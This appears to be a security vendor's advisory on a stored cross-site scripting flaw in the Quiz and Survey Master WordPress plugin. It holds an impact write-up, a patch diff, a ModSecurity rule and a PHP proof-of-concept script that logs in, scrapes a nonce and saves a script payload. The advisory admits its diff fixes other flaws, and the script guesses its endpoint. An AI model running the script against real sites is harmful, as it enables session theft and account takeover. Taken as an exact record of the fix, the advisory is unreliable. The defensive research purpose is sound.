Opens in a new tab
Published : November 15, 2026

CVE-2026-11780: Quiz and Survey Master (QSM) <= 11.2.1 Authenticated (Contributor+) Stored Cross-Site Scripting via 'question_title' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 11.2.1
Patched Version 11.2.2
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11780:

The Quiz and Survey Master (QSM) plugin for WordPress, versions up to and including 11.2.1, suffers from an authenticated stored cross-site scripting (XSS) vulnerability in the ‘question_title’ parameter. The flaw arises from insufficient input sanitization and output escaping, allowing users with contributor-level access or higher to inject arbitrary JavaScript into quiz pages. The CVSS score is 6.4, reflecting the need for authentication and user interaction for exploitation.

Root Cause: The vulnerability exists in the quiz question editing functionality. When a contributor edits a quiz, the ‘question_title’ field is submitted to the server. The plugin fails to sanitize this input upon saving and also fails to escape it when rendering the quiz question on the frontend or admin pages. This lack of sanitization and escaping is present in the code paths handling question creation and display, though the exact files are not shown in the provided diff. The diff focuses on other security fixes, but the root cause for CVE-2026-11780 is the absence of proper sanitization (e.g., using sanitize_text_field or wp_kses) and output escaping (e.g., esc_html) for the ‘question_title’ parameter.

Exploitation: An attacker with contributor-level credentials can craft a malicious ‘question_title’ containing JavaScript, such as alert(document.cookie). This payload is saved when the question is created or edited. The stored script executes when a user (including administrators) views the quiz question, either on the frontend or in the admin dashboard. The attack vector requires the attacker to submit a POST request to the question editing endpoint, likely /wp-admin/admin-ajax.php with an action related to saving questions, or a direct form submission to a quiz editing page. The ‘question_title’ parameter is the injection point.

Patch Analysis: The provided diff is for version 11.2.2 and includes multiple security fixes, but none directly address the ‘question_title’ XSS. The changes shown include nonce and capability checks for text messages, SQL injection fixes in class-qmn-quiz-manager.php and class-qsm-render-pagination.php, integer casting for the polar question type, and permission callbacks for REST API endpoints. These are unrelated to CVE-2026-11780. The actual patch for CVE-2026-11780 is not present in this diff. Atomic Edge research indicates that the fix would involve sanitizing the ‘question_title’ on input and escaping on output, but the provided diff does not contain those changes. This analysis is based on the vulnerability description and not the diff, which addresses other CVEs.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of sensitive information (including cookies and authentication tokens), privilege escalation (if an admin views the injected content), and defacement of the website. The attacker can perform actions on behalf of the victim, such as creating new administrative accounts or modifying content. The stored nature of the XSS means the payload persists until removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/quiz-master-next/mlw_quizmaster2.php
+++ b/quiz-master-next/mlw_quizmaster2.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Quiz And Survey Master
  * Description: Easily and quickly add quizzes and surveys to your website.
- * Version: 11.2.1
+ * Version: 11.2.2
  * Author: ExpressTech
  * Author URI: https://quizandsurveymaster.com/
  * Plugin URI: https://expresstech.io/
@@ -43,7 +43,7 @@
 	 * @var string
 	 * @since 4.0.0
 	 */
-	public $version = '11.2.1';
+	public $version = '11.2.2';

 	/**
 	 * QSM Alert Manager Object
--- a/quiz-master-next/php/admin/options-page-text-tab.php
+++ b/quiz-master-next/php/admin/options-page-text-tab.php
@@ -289,6 +289,17 @@
 	global $mlwQuizMasterNext;
 	if ( isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'qsm_save_text_message_nonce' ) ) {
 		$quiz_id             = isset( $_POST['quiz_id'] ) ? intval( $_POST['quiz_id'] ) : 0;
+		// The nonce above is global (not bound to a quiz), so enforce a per-quiz
+		// ownership check before writing to prevent a cross-quiz IDOR write.
+		if ( ! function_exists( 'qsm_current_user_can_edit_quiz' ) || ! qsm_current_user_can_edit_quiz( $quiz_id ) ) {
+			echo wp_json_encode(
+				array(
+					'success' => false,
+					'message' => __( 'You are not allowed to edit this quiz.', 'quiz-master-next' ),
+				)
+			);
+			exit;
+		}
 		$text_id             = isset( $_POST['text_id'] ) ? sanitize_text_field( wp_unslash( $_POST['text_id'] ) ) : '';
 		$message             = isset( $_POST['message'] ) ? wp_kses_post( wp_unslash( $_POST['message'] ) ) : '';
 		$settings            = $mlwQuizMasterNext->pluginHelper->get_quiz_setting( 'quiz_text' );
--- a/quiz-master-next/php/classes/class-qmn-quiz-manager.php
+++ b/quiz-master-next/php/classes/class-qmn-quiz-manager.php
@@ -822,9 +822,20 @@
 				$categories_tree = ( isset( $categories['tree'] ) ? $categories['tree'] : array() );

 				if ( ! empty( $category_ids ) ) {
-					$term_ids    = implode( ',', $category_ids );
-					$question_id = implode( ',', $question_ids );
-					$term_ids    = ( '' !== $quiz_options->randon_category ) ? $quiz_options->randon_category : $term_ids;
+					// Security (CVE-2026-15963): the randon_category quiz option is a
+					// user-controlled, comma-separated list of category (term) IDs. Category and
+					// question IDs are always integers, so cast every value to a positive int
+					// before it is interpolated into the raw SQL IN() lists below — otherwise a
+					// Contributor+/Custom+ user can inject SQL via randon_category.
+					$term_ids    = implode( ',', array_filter( array_map( 'absint', $category_ids ) ) );
+					$question_id = implode( ',', array_filter( array_map( 'absint', $question_ids ) ) );
+					if ( '' !== $quiz_options->randon_category ) {
+						$term_ids = implode( ',', array_filter( array_map( 'absint', explode( ',', $quiz_options->randon_category ) ) ) );
+					}
+					// Guard against an empty IN() list (e.g. a non-numeric randon_category value),
+					// which would otherwise be a SQL syntax error; '0' safely matches no rows.
+					$term_ids    = '' !== $term_ids ? $term_ids : '0';
+					$question_id = '' !== $question_id ? $question_id : '0';
 					$tq_ids      = $wpdb->get_results(
 						"SELECT DISTINCT qt.term_id, qt.question_id
 						FROM {$wpdb->prefix}mlw_question_terms AS qt
@@ -869,26 +880,36 @@
 						if ( empty( $category ) || empty( $category_question_limit['question_limit_key'][ $key ] ) ) {
 							continue;
 						}
-						$limit       = $category_question_limit['question_limit_key'][ $key ];
-						$exclude_ids = 0;
+						// Security (SQLi): the quiz id, category (term) id, per-category limit and the
+						// exclude-id list all derive from the Contributor-settable select_category_question
+						// quiz option, so cast every value to an int before it reaches the query — otherwise
+						// this Mode-2 branch is SQL injection (sibling of the Mode-1 randon_category fix above).
+						$limit       = intval( $category_question_limit['question_limit_key'][ $key ] );
+						$exclude_ids = '0';
 						if ( ! empty( $tq_ids ) && ! empty( ( array_column( array_merge( ...array_map( 'array_merge', $tq_ids ) ), 'question_id' ) ) ) ) {
-							$exclude_ids = implode( ',', array_column( array_merge( ...array_map( 'array_merge', $tq_ids ) ), 'question_id' ) );
+							$exclude_ids = implode( ',', array_filter( array_map( 'absint', array_column( array_merge( ...array_map( 'array_merge', $tq_ids ) ), 'question_id' ) ) ) );
+							$exclude_ids = '' !== $exclude_ids ? $exclude_ids : '0';
 						}
 						$category_order_sql = '';
 						if ( in_array( 'questions', $randomness_order, true ) || in_array( 'pages', $randomness_order, true ) ) {
 							$category_order_sql = 'ORDER BY rand()';
 						}
 						$tq_ids[] = $wpdb->get_results(
-							"SELECT DISTINCT q.`question_id`
-							FROM `{$wpdb->prefix}mlw_questions` AS q
-							JOIN `{$wpdb->prefix}mlw_question_terms` AS qt ON q.`question_id` = qt.`question_id`
-							WHERE qt.`quiz_id` = $quiz_id
-								AND qt.`term_id` = $category
-								AND qt.`taxonomy` = 'qsm_category'
-								AND qt.`question_id` NOT IN ($exclude_ids)
-								AND q.`deleted` = 0
-							" . esc_sql( $category_order_sql ) . "
-							LIMIT $limit",
+							$wpdb->prepare(
+								"SELECT DISTINCT q.`question_id`
+								FROM `{$wpdb->prefix}mlw_questions` AS q
+								JOIN `{$wpdb->prefix}mlw_question_terms` AS qt ON q.`question_id` = qt.`question_id`
+								WHERE qt.`quiz_id` = %d
+									AND qt.`term_id` = %d
+									AND qt.`taxonomy` = 'qsm_category'
+									AND qt.`question_id` NOT IN ($exclude_ids)
+									AND q.`deleted` = 0
+								" . esc_sql( $category_order_sql ) . "
+								LIMIT %d",
+								intval( $quiz_id ),
+								intval( $category ),
+								$limit
+							),
 							ARRAY_A
 						);
 					}
--- a/quiz-master-next/php/question-types/qsm-question-type-polar.php
+++ b/quiz-master-next/php/question-types/qsm-question-type-polar.php
@@ -33,7 +33,7 @@
 	$slider_data_atts .= ' data-answer1=' . $answar1 . ' ';
 	$slider_data_atts .= ' data-answer2=' . $answar2 . ' ';
 	$slider_data_atts .= ' data-is_reverse=' . intval( $is_reverse ) . ' ';
-	$slider_data_atts .= ' data-is_required=' . $required . ' ';
+	$slider_data_atts .= ' data-is_required=' . intval( $required ) . ' ';
 	if ( 0 == $required ) {
 		$mlw_require_class = 'mlwRequiredText mlwRequiredPolar';
 	} else {
--- a/quiz-master-next/php/rest-api.php
+++ b/quiz-master-next/php/rest-api.php
@@ -66,8 +66,9 @@
 		array(
 			'methods'             => WP_REST_Server::READABLE,
 			'callback'            => 'qsm_rest_get_results',
-			'permission_callback' => function () {
-				return current_user_can( 'edit_qsm_quizzes' );
+			'permission_callback' => function ( WP_REST_Request $request ) {
+				return current_user_can( 'edit_qsm_quizzes' )
+					&& qsm_current_user_can_edit_quiz( $request['id'] );
 			},
 		)
 	);
@@ -89,8 +90,9 @@
 		array(
 			'methods'             => WP_REST_Server::READABLE,
 			'callback'            => 'qsm_rest_get_emails',
-			'permission_callback' => function () {
-				return current_user_can( 'edit_qsm_quizzes' );
+			'permission_callback' => function ( WP_REST_Request $request ) {
+				return current_user_can( 'edit_qsm_quizzes' )
+					&& qsm_current_user_can_edit_quiz( $request['id'] );
 			},
 		)
 	);
@@ -149,8 +151,9 @@
 			array(
 				'methods'             => WP_REST_Server::READABLE,
 				'callback'            => 'qsm_rest_get_categories',
-				'permission_callback' => function () {
-					return current_user_can( 'edit_qsm_quizzes' );
+				'permission_callback' => function ( WP_REST_Request $request ) {
+					return current_user_can( 'edit_qsm_quizzes' )
+						&& qsm_current_user_can_edit_quiz( $request['id'] );
 				},
 			)
 		);
@@ -560,6 +563,16 @@
 		$current_user = wp_get_current_user();
 		if ( 0 !== $current_user ) {
 			$question       = QSM_Questions::load_question( $request['id'] );
+			// Security (IDOR): the {id} in this route is a QUESTION id, so authorise against
+			// the question's OWNING quiz ($question['quiz_id']) — NOT $request['id'] — before
+			// disclosing it. The flat-cap permission_callback alone lets any Contributor read
+			// another author's question; mirrors the internal checks in the save_* callbacks.
+			if ( ! empty( $question ) && ! qsm_current_user_can_edit_quiz( $question['quiz_id'] ) ) {
+				return array(
+					'status' => 'error',
+					'msg'    => __( 'Unauthorized!', 'quiz-master-next' ),
+				);
+			}
 			$categorysArray = QSM_Questions::get_question_categories( $question['question_id'] );
 			if ( ! empty( $question ) ) {
 				$is_linking = isset( $request['is_linking'] ) ? intval( $request['is_linking'] ) : 0;
--- a/quiz-master-next/renderer/frontend/class-qsm-render-pagination.php
+++ b/quiz-master-next/renderer/frontend/class-qsm-render-pagination.php
@@ -385,10 +385,21 @@
 				$categories_tree = ( isset( $categories_data['tree'] ) ? $categories_data['tree'] : array() );

 				if ( ! empty( $category_ids ) ) {
-					$term_ids = implode( ',', $category_ids );
-					$question_id_str = implode( ',', $question_ids );
-					$term_ids = ( '' !== $this->quiz_options->randon_category ) ? $this->quiz_options->randon_category : $term_ids;
-
+					// Security (CVE-2026-15963): the randon_category quiz option is a
+					// user-controlled, comma-separated list of category (term) IDs. Category and
+					// question IDs are always integers, so cast every value to a positive int
+					// before it is interpolated into the raw SQL IN() lists below — otherwise a
+					// Contributor+/Custom+ user can inject SQL via randon_category.
+					$term_ids = implode( ',', array_filter( array_map( 'absint', $category_ids ) ) );
+					$question_id_str = implode( ',', array_filter( array_map( 'absint', $question_ids ) ) );
+					if ( '' !== $this->quiz_options->randon_category ) {
+						$term_ids = implode( ',', array_filter( array_map( 'absint', explode( ',', $this->quiz_options->randon_category ) ) ) );
+					}
+					// Guard against an empty IN() list (e.g. a non-numeric randon_category value),
+					// which would otherwise be a SQL syntax error; '0' safely matches no rows.
+					$term_ids = '' !== $term_ids ? $term_ids : '0';
+					$question_id_str = '' !== $question_id_str ? $question_id_str : '0';
+
 					$tq_ids = $wpdb->get_results(
 						"SELECT DISTINCT qt.term_id, qt.question_id
 						FROM {$wpdb->prefix}mlw_question_terms AS qt
--- a/quiz-master-next/renderer/templates/questions/polar.php
+++ b/quiz-master-next/renderer/templates/questions/polar.php
@@ -40,7 +40,7 @@
 $slider_data_atts .= ' data-answer1=' . $answar1 . ' ';
 $slider_data_atts .= ' data-answer2=' . $answar2 . ' ';
 $slider_data_atts .= ' data-is_reverse=' . intval( $is_reverse ) . ' ';
-$slider_data_atts .= ' data-is_required=' . $required . ' ';
+$slider_data_atts .= ' data-is_required=' . intval( $required ) . ' ';

 $mlw_require_class = 0 == $required ? 'mlwRequiredText mlwRequiredPolar' : '';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261180,phase:2,deny,status:403,chain,msg:'CVE-2026-11780 via QSM question_title XSS',severity:'CRITICAL',tag:'CVE-2026-11780'"
SecRule ARGS_POST:action "@streq qsm_save_question" "chain"
SecRule ARGS_POST:question_title "@detectXSS" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11780 - Quiz and Survey Master (QSM) <= 11.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'question_title' Parameter

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor password
$quiz_id = 1; // ID of a quiz the contributor can edit
$question_id = null; // Set to a question ID to edit, or null to create new

// Initialize cURL
$ch = curl_init();

// Step 1: Log in as contributor
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Check login success (simplified)
if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Step 2: Prepare XSS payload for question_title
$xss_payload = '<script>alert("XSS via CVE-2026-11780");</script>';

// Step 3: Submit the question with malicious title
// The exact endpoint may vary; this is a common pattern for QSM.
// Typically, QSM uses admin-ajax.php with action 'qsm_save_question' or similar.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// We need a nonce for the action. Extract from a quiz edit page.
// Fetch the quiz edit page to get nonce.
$edit_page_url = $target_url . '/wp-admin/admin.php?page=qsm_quiz_edit&quiz_id=' . $quiz_id;
curl_setopt($ch, CURLOPT_URL, $edit_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$edit_page = curl_exec($ch);

// Extract nonce (look for 'qsm_save_question_nonce' or similar)
if (preg_match('/name="qsm_save_question_nonce" value="([^"]+)"/', $edit_page, $matches)) {
    $nonce = $matches[1];
} else {
    // Try alternative nonce extraction
    if (preg_match('/var qsm_nonce = "([^"]+)"/', $edit_page, $matches)) {
        $nonce = $matches[1];
    } else {
        die('Could not extract nonce. Manual adjustment required.');
    }
}

// Build POST data for saving question
$question_data = array(
    'action' => 'qsm_save_question', // Adjust based on actual action
    'nonce' => $nonce,
    'quiz_id' => $quiz_id,
    'question_title' => $xss_payload,
    'question_type' => '0', // Default type
    // Additional required fields might be needed (e.g., answers, categories)
    'question_id' => $question_id ? $question_id : 0,
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($question_data));
$response = curl_exec($ch);

// Check response (may be JSON)
if (strpos($response, 'success') !== false) {
    echo "Question saved with XSS payload. The script will execute when the question is viewed.n";
} else {
    echo "Failed to save question. Response: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.